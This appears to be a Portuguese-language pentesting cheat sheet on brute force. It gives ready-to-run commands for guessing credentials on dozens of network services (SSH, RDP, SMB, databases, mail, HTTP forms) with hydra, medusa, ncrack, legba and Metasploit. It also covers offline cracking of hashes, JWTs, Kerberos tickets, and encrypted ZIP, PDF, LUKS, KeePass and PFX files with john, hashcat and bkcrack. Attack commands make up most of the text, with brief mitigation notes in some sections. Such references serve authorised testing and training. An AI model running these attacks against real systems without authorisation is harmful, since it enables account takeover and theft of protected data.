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Brute Force - CheatSheet

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Credenciais Padrão

Pesquise no Google por credenciais padrão da tecnologia que está sendo usada, ou experimente estes links:

Crie seus próprios Dicionários

Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewl é uma ferramenta de código aberto que é usada para criar listas de palavras-chave a partir de um site ou documento.

cewl example.com -m 5 -w words.txt

CUPP

Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)

python3 cupp.py -h

Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando-lhe a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Listas de Palavras

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Serviços

Ordenados alfabeticamente pelo nome do serviço.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is similar to HTTP, but more efficient when communicating with Java application servers. A common attack against AJP is to perform a brute force attack to guess usernames and passwords.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

CouchDB é um banco de dados NoSQL que pode ser alvo de ataques de força bruta.

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Registro do Docker

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

Brute Force

Brute force attacks against Elasticsearch typically involve trying to guess the credentials of the Elasticsearch instance by repeatedly trying different username and password combinations. This can be done using automated tools that systematically generate and test different combinations until the correct one is found.

To protect against brute force attacks, it is recommended to:

Use strong and unique passwords for Elasticsearch accounts.
Implement account lockout policies to prevent multiple failed login attempts.
Monitor Elasticsearch logs for any suspicious login activities.
Limit access to Elasticsearch instances to only authorized users.
Keep Elasticsearch and its dependencies up to date with the latest security patches.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP (File Transfer Protocol) é um protocolo padrão usado para transferir arquivos pela rede.

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

Brute Force Genérico HTTP

WFuzz

Autenticação Básica HTTP

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

O método de autenticação NTLM (NT LAN Manager) é um protocolo de autenticação desafiador-resposta que é comumente usado em redes Windows. Ele pode ser alvo de ataques de força bruta para tentar adivinhar as credenciais de um usuário.

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

Brute Force

Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms and gain access to sensitive information.

Prevention

To prevent brute force attacks, it is important to implement strong authentication mechanisms such as multi-factor authentication, account lockout policies, and CAPTCHA challenges. Additionally, monitoring and logging failed login attempts can help detect and mitigate brute force attacks in a timely manner.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Para https você tem que mudar de "http-post-form" para "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute-forces IMAP, they attempt to gain unauthorized access to email accounts by trying various username and password combinations until the correct one is found.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Brute Force

Brute force attacks on IRC servers are typically carried out using automated scripts that attempt to guess usernames and passwords. These scripts can be easily found online and are often used by attackers to gain unauthorized access to IRC channels or servers. To protect against brute force attacks on IRC, it is important to use strong and unique passwords, enable account lockout policies, and monitor for any suspicious login activity.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

Brute Force

Brute force attacks against MSSQL servers can be performed using tools like Hydra or Ncrack. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use strong and complex passwords, account lockout policies, and monitoring mechanisms to detect and prevent brute force attacks.

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

MySQL is a popular open-source relational database management system. It is commonly used in web applications to store and manage data. MySQL databases can be targeted using brute force attacks to gain unauthorized access. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to use strong and unique credentials to protect MySQL databases from brute force attacks.

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

Brute Force

Brute force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so they should be used as a last resort. Additionally, using strong and complex passwords can help mitigate the risk of a successful brute force attack.

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Para usar oracle_login com patator, você precisa instalar:

pip3 install cx_Oracle --upgrade

Força bruta de hash OracleSQL offline (versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, e 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. É possível realizar ataques de força bruta contra servidores PostgreSQL para tentar adivinhar credenciais de acesso.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Você pode baixar o pacote .deb para instalar em https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops.

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec é um serviço que permite a execução remota de comandos em um sistema. Pode ser alvo de ataques de força bruta para tentar adivinhar credenciais de acesso.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta, nos quais um atacante tenta adivinhar a senha de um usuário tentando várias combinações possíveis. Para proteger contra ataques de força bruta, é recomendável usar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de conta após várias tentativas falhas de login.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Brute Force

Brute force attacks are a common method used to gain unauthorized access to a system. This technique involves trying all possible combinations of usernames and passwords until the correct one is found. Brute force attacks can be time-consuming but are often successful if the passwords are weak or easily guessable.

Mitigation

To mitigate brute force attacks, it is essential to use strong, complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to protect against unauthorized access.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

SMTP (Simple Mail Transfer Protocol) é um protocolo padrão para envio de e-mails pela internet.

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS stands for Socket Over Complete Kits. It is a protocol that routes network packets between a client and a server through a proxy server. SOCKS operates at the transport layer and is used to bypass firewall restrictions and securely access resources on a network.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Brute Force

Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Chaves SSH fracas / Debian PRNG previsível

Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por ferramentas como snowdroppe/ssh-keybrute. Conjuntos pré-gerados de chaves fracas também estão disponíveis, como g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que permite comunicação e interação perfeitas com serviços populares de filas de mensagens como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet é um protocolo de rede que permite a comunicação bidirecional em uma rede. É comumente usado para acessar remotamente dispositivos como servidores, roteadores e switches para fins de gerenciamento. O Telnet pode ser alvo de ataques de força bruta, nos quais um hacker tenta adivinhar credenciais válidas através da tentativa de várias combinações de nomes de usuário e senhas. É importante garantir que senhas fortes e medidas de segurança adequadas sejam implementadas para proteger os dispositivos contra ataques de força bruta.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Local

Bancos de dados de quebra online

~~http://hashtoolkit.com/reverse-hash?~~ (MD5 & SHA1)
https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio)
https://www.onlinehashcrack.com/ (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
https://crackstation.net/ (Hashes)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (Hashes e hashes de arquivos)
https://hashes.org/search.php (Hashes)
https://www.cmd5.org/ (Hashes)
https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
http://reverse-hash-lookup.online-domain-tools.com/

Confira antes de tentar fazer força bruta em um Hash.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Ataque conhecido de zip de texto simples

Você precisa saber o texto simples (ou parte do texto simples) de um arquivo contido dentro do zip criptografado. Você pode verificar nomes de arquivos e tamanho dos arquivos contidos dentro de um zip criptografado executando: 7z l encrypted.zip
Baixe o bkcrack na página de lançamentos.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is time-consuming but effective, especially against weak passwords.

Tools

Hydra: A popular tool for performing brute force attacks. It supports multiple protocols and services.
Medusa: Similar to Hydra, Medusa is a speedy, parallel, and modular login brute-forcer.
Ncrack: A high-speed network authentication cracking tool. It was designed for large-scale network audits.
John the Ripper: A well-known password-cracking tool that can perform both dictionary and brute force attacks.

Techniques

Dictionary Attack: Involves using a predefined list of words to crack passwords. It is more efficient than brute force.
Hybrid Attack: Combines a dictionary attack with a brute force attack to increase the chances of success.
Rainbow Table Attack: Uses precomputed tables to crack passwords. It can be faster than traditional brute force methods.

Prevention

Use Strong Passwords: Avoid using common words or patterns in passwords.
Implement Account Lockout Policies: Limit the number of login attempts to prevent brute force attacks.
Multi-Factor Authentication: Adds an extra layer of security to protect against brute force attacks.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Senha do Proprietário do PDF

Para quebrar a senha do proprietário de um PDF, verifique isso: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

Quebra de NTLM

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Imagem Lucks

Método 1

Instalação: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Método 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Outro tutorial de BF Luks: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Chave privada PGP/GPG

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

Chave Mestra DPAPI

Use https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py e depois o john

Coluna Protegida por Senha no Open Office

Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:

Faça o upload para o Google Drive e a senha será removida automaticamente
Para removê-la manualmente:

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

Certificados PFX

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

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Ferramentas

Exemplos de hash: https://openwall.info/wiki/john/sample-hashes

Identificador de Hash

hash-identifier
> <HASH>

Listas de Palavras

Ferramentas de Geração de Listas de Palavras

kwprocessor: Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas.

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Mutação de John

Leia /etc/john/john.conf e configure-o

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Ataques do Hashcat

Ataque de lista de palavras (-a 0) com regras

O Hashcat já vem com uma pasta contendo regras mas você pode encontrar outras regras interessantes aqui.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

Ataque de combinação de listas de palavras

É possível combinar 2 listas de palavras em 1 com o hashcat.
Se a lista 1 contiver a palavra "hello" e a segunda contiver 2 linhas com as palavras "world" e "earth". As palavras helloworld e helloearth serão geradas.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

Ataque de máscara (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
